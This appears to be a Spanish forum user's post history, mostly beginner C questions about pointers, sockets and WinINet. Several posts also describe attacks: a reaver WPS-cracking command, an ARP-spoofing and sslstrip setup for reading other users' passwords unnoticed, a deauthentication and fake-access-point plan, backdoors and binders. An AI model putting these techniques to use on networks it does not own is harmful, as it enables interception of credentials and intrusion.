Programación C/C++ / Como compilar conio.h
3 Enero 2016, 14:53 PM
Hola.

Estaba indagando por los codigos de c.conclase.com y resulta que utilizan librerías propias de windows, como la mencionada anteriormente, conio.h. Uso como compilador Dev-C++ mediante Wine, ya que utilizo Debian. ¿Cómo puedo compilar la libreria conio.h?
He leído por internet que necesito un compilador de C que no sea GCC, MinGW o CygWin y tal, pero no sé cual xd porque también he leido que con code::blocks se puede y me dice lo mismo, que las funciones clrscr() y tal de conio.h no existen.

Se agradece de antemano.
#17
Hola.

Como dice el título: ¿Cómo puedo incrementar un puntero con ++ en vez de +=1?
Por ejemplo:

void modificar(int *algo)
{
   *algo++;
   printf("%d\n",*algo);
}
int main()
{
   int cosa = 5;
   modificar(&cosa);
return 0;
}


Si escribo esto el programa me manda a la m*****. Sin embargo si lo hago así:

void modificar(int *algo)
{
   *algo+=1;
   printf("%d\n",*algo);
}
int main()
{
   int cosa = 5;
   modificar(&cosa);
return 0;
}


Me imprime un 6. ¿Esto a qué es debido? ¿Estoy incrementando mal el puntero?
#18
Hola.

Resulta que he hecho una función que considero bastante útil para el uso popular:

void strssr(const char *arg /*Argumento que contiene los numeros*/,
            char *s /*Puntero a since */,
             char *t /*Puntero a to */,
              uint8_t lim /*Limite de separacion */)
{
  char *str = (char *)arg;
  while(*str)
  {
    *s = *str++;
    if(*str == lim)
      break;
    *s++;
  }
  *str++;
  while(*str)
  {
    *t = *str++;
    *t++;
  }
}


Consiste en separar un argumento en dos a partir de una señal definida en el cuatro argumento, por ejemplo:

int main()
{
   char *ip = (char *)calloc(16,sizeof(char));
   char *puerto = (char *)calloc(5,sizeof(char));
   strssr("192.168.1.1:8080", ip, puerto, ':');
   printf("%s\t%s\n", ip, puerto);
return 0;
}


Me gustaría saber si hay alguien que regule todo esto de las bibliotecas en C. ¿Tal vez el opengroup.org?
Es por el bien de la comunidad jeje.

Gracias por las respuestas.
#19
Hola. Estaba haciendo una funcion para saber si hay una palabra dentro de una cadena, y luego ví que existe la función strstr();

int strstr(const char *str1, const char *str2) {
  char *cp = (char *) str1;
  char *s1, *s2;
  if (!*str2) return 0; //Que significa el (!*str2)
  while (*cp) {
    s1 = cp;
    s2 = (char *) str2;
    while (*s1 && *s2 && !(*s1 - *s2)) //Que significa (*s1 && *s2) y luego el && !(*s1 - *s2)
        s1++, s2++;
    if (!*s2) return 0;
    cp++;
  }
  return 1;
}


Devuelve 0 cuando ha encontrado una palabra y 1 si no.
Me gustaría saber que significado tiene '!' ante una función y ante un puntero. Y que obtienes al hacer *s1 && *s2, ¿los comparas?

Gracias.
#20
Hola.
Estoy haciendo un cliente de FTP para Windows y de momento me va bien a excepción de listar los archivos. Utilizo la siguiente función: https://msdn.microsoft.com/en-us/library/windows/desktop/aa384146(v=vs.85).aspx
Y la uso de esta manera:

...
TCHAR direct[MAX_PATH];
DWORD det=MAX_PATH;
WIN32_FIND_DATA met;
do{//El socket es "conexion"
FtpGetCurrentDirectory(conexion,direct,&det);
if(FtpFindFirstFile(conexion,direct,&met,det,0)==NULL)
printf("NULL\n");
else
printf("%s\n",met.cFileName);
}while(InternetFindNextFile(conexion,(LPVOID)&met));
...


Al ejecutar esta función solo me imprime la primera carpeta, y si vuelvo a ejecutarla me devulve NULL.

Gracias de antemano
#21
Hola.
Estaba siguiendo la windows api, concretamente esta guía: https://msdn.microsoft.com/en-us/library/windows/desktop/aa385096(v=vs.85).aspx
pero me da errores de compilación con cualquier compilador, tanto gcc de mingw como el de Dev-C++, que también usa mingw. Me suelta este error:

undefined reference to `InternetOpen@20`
collect2: Id returned 1 exit status


Con un codigo tan mediocre como este:

#include<stdio.h>
#include<stdlib.h>
#include<wininet.h>
int main(){
HINTERNET conexion;
conexion=InternetOpen("FTP",INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
return 0;
}


Y me pasa mas o menos lo mismo con los sockets.
Cuando utilizo las funciones definidas aquí: https://msdn.microsoft.com/en-us/library/windows/desktop/ms741394(v=vs.85).aspx o incluso las de un tutorial cualquiera sobre sockets en windows, me sigue dando error de compilación.
Utilzo Windows 7, obviamente pirata, (VIVA EL SOFTWARE LIBRE), supongo que lo de estar pirateado no importará, pero bueno. Windows 7 Home Premium.
#22
Hola.
Estaba probando http://nbpfaus.net/~pfau/ftplib/ftplib.html y no se si me podríais ayudar a desarrollar algún programa con esta librería.
He estado probando pero no tengo ni idea como funcionan las funciones. He estado mirando el programa qftp que hay aquí http://nbpfaus.net/~pfau/ftplib/ pero al compilarlo y ejecutarlo muestra un error con una librería dinamica llamada libftp.so, así que si el creador no lo ha hecho bien, no sé como voy a hacerlo yo  jeje
#23
Hola.
Hace poco me introduje en el mundo de los sockets en C, y hay una duda que no la consigo resolver.
Cuando creas un socket, se le asigna una variable entera, ya sea porque vas a enviar información o porque vas a recibirla con la funcion accept().
Cuando yo envío con la función send() o write(), ¿como entiende el ordenador que se lo voy a enviar a la dirección 192.168.1.1 si solo le estoy pasando un entero?
¿No es necesaria una estructura?
He leido que al igual que se le asigna el numero 0 a stdin, el 1 a stdout y el 2 a stderr, se le asignará de 3 en adelante a los sockets.
Pero ¿cómo entiende el ordenador que lo quiero enviar a X dirección IP pasándole solo el entero?
Gracias
#24
Hola.
Estoy utilizando la función select() para hacer un servidor de chat pero, no sé que problemas tengo jeje. Espero vuestra ayuda.
Ignorad que el código no esté dividido en funciones.
No quiero que me terminéis el programa, solo quiero que me digais, qué problemas tiene. Compilar compila, pero cuando se conectan dos hosts, el segundo no envía mensajes, o cuando se conecta éste, no sucede lo que debe suceder.
Gracias.

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<netdb.h>
#include<fcntl.h>
#include<arpa/inet.h>
#define PUERTO 3317
//PROBLEMA:
//Cuando se va un host deja un espacio libre que hay que rellenar
void usage(char *arg){
printf("%s <puerto>\n",arg);
}
int main(int argc, char **argv){
pid_t id;
fd_set desc;
int c,l,j;
int host=0;
int clilong;
int socket_servidor;
int socket_cliente[25];
char *buffer=calloc(220,sizeof(char));
struct sockaddr_in servidor;
struct sockaddr_in cliente[25];
socket_servidor=socket(AF_INET,SOCK_STREAM,0);
servidor.sin_family = AF_INET;
if(argc>1){
int port=atoi(argv[1]);
servidor.sin_port = htons(port);
}
else
servidor.sin_port = htons(PUERTO);
servidor.sin_addr.s_addr = INADDR_ANY;
if(bind(socket_servidor,(struct sockaddr *)&servidor,sizeof(servidor))<0){
printf("El puerto %d está en uso\n",PUERTO);
usage(argv[0]);
close(socket_servidor);
return 1;
}
listen(socket_servidor,25);
printf("Escuchando por el puerto %d\n",ntohs(servidor.sin_port));
clilong=sizeof(cliente[host]);
socket_cliente[host]=accept(socket_servidor,(struct sockaddr *)&cliente[host],&clilong);
if(socket_cliente[host]<0){
printf("Error aceptando el trafico con el host %s\n",
inet_ntoa(cliente[host].sin_addr));
close(socket_cliente[host]);
close(socket_servidor);
return 1;
}
else
printf("Conectado con el host %s\n",inet_ntoa(cliente[host].sin_addr));
host++;
FD_ZERO(&desc);
FD_SET(socket_servidor,&desc);
for(c=0;c<host;c++)
FD_SET(socket_cliente[c],&desc);
while(1){
if(select(host+4,&desc,NULL,NULL,NULL)<0){
printf("Error\n");
close(socket_cliente[host]);
close(socket_servidor);
return 1;
}
for(c=0;c<host;c++){
printf("C: %d\n",c);
if(FD_ISSET(socket_servidor,&desc)){
                               clilong=sizeof(cliente[host]);
                               socket_cliente[host]=accept(socket_servidor,
                                                       (struct sockaddr *)&cliente[host],&clilong);
                               if(socket_cliente[host]>0){
                                       printf("Se ha conectado el host %s\n",
                                                               inet_ntoa(cliente[host].sin_addr));
                                       host++;
                                       printf("Hosts %d\n",host);
                               }
                               else
                                       printf("Error al conectarse nuevo host\n");
}
                       if(FD_ISSET(socket_cliente[c],&desc)){
printf("Esperando algo\n");
j=recv(socket_cliente[c],buffer,220,0);
if(j>0){
printf("\n%s\n",buffer);
for(l=0;l<=host;l++)
send(l,buffer,220,0);
}
if(j==0){
printf("El host %s se ha desconectado\n",
inet_ntoa(cliente[c].sin_addr));
close(socket_cliente[c]);
host--;
printf("Hosts: %d\n",host);
}
}
}
}
free(buffer);
return 0;
}
#25
Programación C/C++ / Convertir de void a int
16 Noviembre 2015, 21:14 PM
Hola.
Estoy probando eso de los threads en Linux con la programación en C para hacer un servidor de mensajes multicliente. El problema con el que me topo es:
1. La función para pasar el thread solo me permite pasar el argumento como void *.
2. La función no me permite pasar más de un argumento.
¿Me podríais ayudar?
He estado probando con la conversión clasica tal que así:

#include<stdint.h>
...
void funcion(void *numero){
      int a=(intptr_t)numero;
...

Al imprimirlo dentro de 'función' me devulve un valor aleatorio.
Gracias de antemano.
#26
Hola.
Estoy introduciéndome en el mundo de los sockets en Linux y haciendo tanto cliente como servidor quise iniciar mi primer chat. Hasta ahí bien, pero ahora lo que quiero es que el servidor del chat pueda soportar varias conexiones (que hacerlo, lo hace) pero que lea también de éstas. Es decir, este "chat" solo funciona por turnos jeje. Escribo mi código:
Servidor:

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<netdb.h>
int main(int argc, char **argv){
if(argc<2){
printf("%s <puerto>\n",argv[0]);
return 1;
}
int con_ser,con_cli,puerto;
int I;
socklen_t clilen;
char *buffer;
struct sockaddr_in cliente;
struct sockaddr_in servidor;
con_ser=socket(AF_INET,SOCK_STREAM,0);
if(con_ser<0){
printf("Error creando el socket\n");
close(con_ser);
return 1;
}
bzero((char *)&servidor,sizeof(servidor));
puerto=atoi(argv[1]);
servidor.sin_family = AF_INET;
servidor.sin_port = htons(puerto);
servidor.sin_addr.s_addr = INADDR_ANY;
I=bind(con_ser,(struct sockaddr *)&servidor,sizeof(servidor));
if(I<0){
printf("Error al asignar el puerto\n");
close(con_ser);
return 1;
}
listen(con_ser,3);
clilen = sizeof(cliente);
con_cli=accept(con_ser,(struct sockaddr *)&cliente,&clilen);
if(con_cli<0){
printf("Error en la transaccion\n");
close(con_ser);
return 1;
}
buffer=calloc(220,sizeof(char));
do{
I=read(con_cli,buffer,220);
if(I<0){
printf("Error recibiendo información\n");
close(con_ser);
return 1;
}
if(strcmp(buffer,"101001001")!=0)
printf("%s",buffer);
else{
printf("EOF\n");
break;
}
free(buffer);
buffer=calloc(220,sizeof(char));
printf("%s: ",getlogin());
fgets(buffer,220,stdin);
I=write(con_cli,buffer,220);
if(I<0){
                       printf("Error enviando información\n");
                       close(con_ser);
                       return 1;
               }
}while(1);
return 0;
}


Cliente:

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<netdb.h>
#define RED     "\x1b[31m"
#define GREEN   "\x1b[32m"
#define YELLOW  "\x1b[33m"
#define BLUE    "\x1b[34m"
#define MAGENTA "\x1b[35m"
#define CYAN    "\x1b[36m"
#define RESET   "\x1b[0m"
int cmp(char *s1, char *s2, char *s3){
int ret = 0;
strcat(s3,": ");
strcat(s3,s2);
while(!(ret=*(unsigned char *)s1 - *(unsigned char *)s3) && *s3)
++s1, ++s3;
if(ret<0)
ret=-1;
if(ret > 0)
ret=1;
return ret;
}
int main(int argc, char **argv){
if(argc<3){
printf(YELLOW"%s <host> <puerto>\n"RESET,argv[0]);
return 1;
}
int conexion,puerto,i;
char *frase;
char *buffer;
struct hostent *server;
struct sockaddr_in cliente;
server=gethostbyname(argv[1]);
if(server==NULL){
printf(RED"Host erróneo, introduce el host\n"RESET);
return 1;
}
conexion=socket(AF_INET,SOCK_STREAM,0);
puerto=atoi(argv[2]);
cliente.sin_family = AF_INET;
cliente.sin_port = htons(puerto);
bcopy((char *)server->h_addr,(char *)&cliente.sin_addr.s_addr,sizeof(server->h_length));
i=connect(conexion,(struct sockaddr *)&cliente,sizeof(cliente));
if(i<0){
printf("Error conectando con el host\n");
close(conexion);
return 1;
}
printf(YELLOW"Escribe "RED"\"EOF\""RESET" para salir\n"RESET);
do{
buffer=calloc(220,sizeof(char));
if(buffer==NULL){
printf("No se ha podido reservar memoria\n");
close(conexion);
return 1;
}
frase=calloc(200,sizeof(char));
if(frase==NULL){
printf("No se ha podido reservar memoria\n");
                       close(conexion);
                       return 1;
               }
printf(YELLOW"%s: "RESET,getlogin());
fgets(frase,200,stdin);
strcat(buffer,getlogin());
strcat(buffer,": ");
strcat(buffer,frase);
if(cmp(buffer,"EOF\n",getlogin())==0){
write(conexion,"101001001",10);
break;
}
i=write(conexion,buffer,220);
if(i<0){
printf(RED"Error al enviar los datos\n"RESET);
break;
}
free(frase);
i=read(conexion,buffer,220);
if(i<0){
                       printf(RED"Error al recibir los datos\n"RESET);
                       break;
               }
printf("%s",buffer);
}while(1);
close(conexion);
free(buffer);
return 0;
}


Se agradece de antemano
#27
Hola buenas, no sé como podría borrar una línea entera de un fichero.
Para hacer esto he leido el fichero entero guardando cada línea en un vector de dos dimensiones, saltandome la línea que quería eliminar, y posteriormente eliminando el fichero para crear otro. Pero busco algo más eficiente, para poder hacerlo en ficheros grandes y tal. ¿Como podría eliminar una fila concreta?
#28
Hola. Últimamente me ha dado por probar programas que creen puertas traseras como Pupy, que lo recomiendo bastante, para Linux.
Pero, por ejemplo, a la hora de ejecutar un comando como sudo o ssh no me aparece para escribir la contraseña. He creado una backdoor con metasploit y tal, pero no funciona tampoco el ssh ni sudo.
Lo primero que hago al ejecutarse la shell es ejecutar bash, y después intento ejecutar sftp o ssh o sudo, y como bien he dicho antes, nada.
No se si podríais recomendarme algún programa para crear puertas traseras que me permitan ejecutar estos comandos, ya que en mi casa las uso mucho para entrar directamente a mi servidor desde el movil sin tener que escribir autenticaciones ni nah.
Lo busco para Linux, gracias.
#29
Cuando leo con la funcion fread de un fichero binario, y lo imprimo por pantalla se me imprime el último numero dos veces. No es la primera vez que me pasa, y no sé por qué sucede.
¿Me podeis echar una mano?
#30

...
scanf("%d",&a);
if(isdigit(y)==0){
    printf("...");
}
else
    printf("Introduce un numero\n");
...
return 0;

Si yo escribo un caracter cuando llego al scanf se crashea y no sigue funcionando, no se imprime el else. ¿Cómo compruebo la entrada de datos?
#31
Estoy haciendo un programa con el que al pulsar Bloq Num o Bloq Mayus sale un mensajito que te dice que las has activado o no. Pero para ello necesito editar los registros y tiene que ser como administrador. ¿Como podría hacer para que el programa de por sí se ejecute como administrador sin necesidad de interactividad del usuario?
#32
No sabía muy bien donde poner este tema, así que lo he puesto aquí. Bueno, el caso es que qué significa el símbolo '$'  en un servidor SMB, como el tipico IPC$ o ADMIN$
#33
Hola.
¿Como se hace para que un programa sea capaz de inyectar codigo en otros programas o incluso archivos como pdf o imagenes? No imagino muy bien como funciona. Por ejemplo, ¿Como funcionan los binders?
#34
Seguridad / Problema con cifrado HTTPS
11 Agosto 2015, 18:40 PM
Tengo dos ordenadores, ambos en la misma red y con Debian 8.1. El problema surge cuando en el primero me dispongo a descargar Kali 2.0. Cuando entro a la pagina tengo cifrado https y todo es muy bonito, pero cuando entro desde el segundo ordenador el https me sale tachado. He mirado a ver si había alguien en mi red y nada, ni spoofing. ¿A qué puede ser debido?
La única diferencia entre ambos es que el primero es portátil y por ello lo uso vía wifi, y el segundo una torre y está conectado por ethernet
#35
Hola chavalada xd
Resulta que estaba probando reaver y tal con mi router y resulta que cuando escribo simplemente:

reaver -i wlan0 -b XX:XX:XX:XX:XX:XX -p XXXXXXX -vv

El programa (con el pin correcto que me indica el router en el panel de control) da errores y cosas imprimiendo en pantalla que ha fallado la transaccion de codigo y no se qué, pero si escribo:

reaver -i wlan0 -b XX:XX:XX:XX:XX:XX -p XXXXXXX -vv -S -N

El bueno de reaver me devuelve solo el pin wps y me dice que es correcto, no me devuelve la clave, estuve buscando y lo unico que recomiendan por la red es cambiarse a reaver 1.3, y tampoco me funciona. Así pues he decidido ver si me podia conectar con wpa_cli mendiante el pin o mediante pbc, y no me funciona de ninguna manera, escribo:

wpa_cli wps_pin BSSID PIN

El programa me imprime muchas cosas, pero no me imprime la contraseña, ni establece conexion, dice que la conexion está establecida y no se qué pero no funciona. Tambien he intentado usar wpa_gui, pero tampoco me funciona.
¿Ayudais a un buen ciudadano?
#36
Foro Libre / El Remi Gaillard del Hacking
2 Agosto 2015, 11:48 AM
Enlazo uno de sus videos como ejemplo, podéis ir a su canal y ver las cosas tan maravillosas que hace
https://www.youtube.com/watch?v=32JgSJYpL8o
#37
Programación C/C++ / Duda sobre punteros en C
29 Julio 2015, 18:14 PM
Tengo este programa:

#include<stdio.h>
#include<string.h>
int main(){
int x;
char nombres[10][40];
char *comp;
for(x=0;x<10;x++){
printf("Escribe un nombre:\t\tNombres: %d\n",x);
scanf("%s",&nombres[x][40]);
}
for(x=0;x<10;x++)
printf("Nombres: %s ",&nombres[x][40]);
printf("\nCual quieres saber\n");
scanf("%s",comp);
for(x=0;x<10;x++){
if(strcmp(nombres[x],comp)==0)
printf("Si que esta\n");
}
return 0;
}

Pero no tengo mucha idea de por qué debo declarar 'comp' como un puntero o por qué para escanear 'nombres' debo usar "&", o por qué 'comp' no lo recibo con un "&" en el scanf.
¿Un array es un puntero? Como va esto xd que se me dan muy mal los punteros
#38
Hacking / MITM transparente
28 Julio 2015, 13:16 PM
Hola. ¿Me gustaría saber como es posible un Man in the Middle transparente usando SSLstrip.
He estado probando desde el ordenador con una ataque ARP, el típico, y sslstrip, pero cuando quiero entrar en facebook, no carga la pagina, por eso de que debe ir por https y tal, pero si lo hago desde una app llamada ZAnti, que supongo que todos conoceréis, cuando hago un MitM con lo que ahí pone: sslstrip, permite el trafico a paginas como facebook o twitter, haciendo que sea transparente totalmente, y no se note el ataque, además cumpliendo su funcion, porque en páginas como tuenti.com si que puedes ver las contraseñas y tal.
Me gustaría saber como se hace eso desde Linux. He intentado hacerlo poniendo excepciones a ciertas paginas como Facebook o Gmail en IPTables, pero sigue sin ser 100% transparente.
¿Alguna aportacion?
#39
Hacking Wireless / ¿Qué chipset es el mejor?
26 Julio 2015, 19:35 PM
Resulta que tengo dos tarjetas de red (+ la interna del ordenador) y la interna es atheros, con la cual el otro dia conseguí la contraseña de mi router en a penas 6 segundos, pero con las otras dos que usan un chipset ralink o no funcionaban, o tardaban más de 10 minutos. ¿Qué chipset me recomendais para alguien que usa Debian 8? He escuchado que atheros es el mejor chipset además de los drivers y tal. ¿Cuál me recomendáis?
#40
Hacking Wireless / Ataque DoS a un router
18 Julio 2015, 11:55 AM
Hola.
Estaba probando como crear un punto de acceso falso pero antes haciendo desaparecer el router legítimo de las redes. El proceso que he seguido hasta ahora es: Con aireplay desautenticar a los clientes de la red, y luego con create_ap (https://github.com/oblique/create_ap) montar un punto de acceso similar con la misma contraseña y tal, para que los clientes se vuelvan a autenticar, pero esta vez a mi falsa red. El problema es que quiero hacer desaparecer a la red, no evitar que otros se conecten. ¿Como podría hacerlo?
#41
Hola.

Si yo uso la libreria winpcap para hacer un programa en C, si quiero ejecutar ese programa en otro ordenador ¿necesitaré descargar la libreria? Si es así, ¿por qué? ¿no se supone que es lenguaje compilado y por tanto lleva las funciones de esa librería en el programa?
#42
Estoy aprendiendo programacion en C++ y al llegar a las clases me he perdido con eso de público y privado. No entiendo qué quiere decir con que las clases privadas solo se pueden modificar desde la función, ¿qué finalidad práctica tiene hacer una clase privada a diferencia de una pública?, ¿son lo mismo las clases que las estructuras?

Gracias de antemano.
#43
GNU/Linux / Error Ubuntu con Libpcap0.8
29 Junio 2015, 23:57 PM
Resulta que al instalar Reaver y la libreria libpcap-dev no funciona como esperaba. Utilizo wash y me imprime la tabla pero sin haber hecho una busqueda y tal, pero ese no es el problema, el problema está en que descarga la libreria libpcap0.8 y bueno, wash y reaver van muy bien, pero el problema surge cuando quiero actualizar ubuntu, y es que me dice que hay un paquete roto o desactualizado y es necesario actualizarlo, obligandome a actualizar libpcap y haciendo que no funcione wash ni reaver. ¿Alguna solución?
#44
En el documental 'Hackerville' (enlazo http://globbsecurity.com/hackerville-la-ciudad-del-cibercrimen-34569/) podemos ver como los hackers han vulnerado inclusive la seguridad de la NASA o Facebook, mi cuestion es... ¿Que caminos u opciones existen para obtener acceso a un servidor remoto como sería el de la NASA?
#45
¿Que es lo que utilizan para modificar tanto pistas de audio como imagenes?
¿Modifican el fichero binario?